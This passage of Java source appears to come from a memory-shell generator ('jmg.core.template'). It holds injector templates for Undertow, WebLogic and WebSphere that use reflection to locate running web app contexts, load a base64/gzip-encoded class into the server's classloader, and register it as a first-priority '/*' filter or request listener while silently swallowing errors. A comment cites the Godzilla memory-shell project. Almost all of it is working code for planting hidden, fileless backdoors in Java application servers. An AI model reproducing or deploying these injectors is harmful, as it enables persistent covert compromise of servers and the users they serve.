ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,292 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicFilterInjectorTpl();
}
public WebLogicFilterInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
/**
* https://github.com/BeichenDream/GodzillaMemoryShellProject
*/
public void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Object filterManager = invokeMethod(context, "getFilterManager");
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
cachedClasses.put(filterClassName, filter.getClass());
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
//将filter置为第一位
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping);
} catch (Throwable e) {
}
}
}
public static boolean isInjected(Object context, String filterClassName) throws Exception {
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(filterClassName))
return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,274 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicListenerInjectorTpl();
}
public WebLogicListenerInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
registerListener(context, listener);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void registerListener(Object context, Object listener) throws Exception {
String listenerClassName = listener.getClass().getName();
if (!isInjected(context, listenerClassName)) {
try {
Object eventsManager = getFV(context, "eventsManager");
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
} catch (Exception e) {
}
}
}
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
for (int i = 0; i < requestListeners.size(); i++) {
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,272 @@
package jmg.core.template;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8
* update 2023/07/08
*/
public class WebSphereFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereFilterInjectorTpl();
}
public WebSphereFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
String filterName = getFilterName(getClassName());
try {
if (!isAdded(context, filterName)) {
Class filterMappingClass;
Class iFilterConfigClass;
Class iServletConfigClass;
ClassLoader classLoader;
try {
classLoader = context.getClass().getClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
} catch (Exception e) {
classLoader = Thread.currentThread().getContextClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
}
Object filterManager = getFV(context, "filterManager");
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFV(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFV(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFV(filterConfig, "dispatchMode", new int[]{0});
setFV(filterConfig, "name", filterName);
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
int lastIndex = _uriFilterMappings.size() - 1;
Object lastElement = _uriFilterMappings.remove(lastIndex);
_uriFilterMappings.add(0, lastElement);
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
}
// 清除缓存
invokeMethod(getFV(filterManager, "chainCache"), "clear");
}
} catch (Exception ex) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isAdded(Object context, String filterName) throws Exception {
Object webAppConfiguration = getFV(context, "config");
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
for (int i = 0; i < filerMappings.size(); i++) {
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
String name = (String) invokeMethod(config, "getFilterName");
if (name.equals(filterName)) {
return true;
}
}
return false;
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = filterClass.newInstance();
} catch (Throwable ignored) {
}
}
return filter;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
getF(obj.getClass(), fieldName).set(obj, fieldValue);
}
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
}
@@ -0,0 +1,140 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WebSphereListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereListenerInjectorTpl();
}
public WebSphereListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = listenerClass.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
List listeners = (List) getFV(context, "servletRequestListeners");
// 判断是否已经存在
if (!listeners.contains(listener)) listeners.add(listener);
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
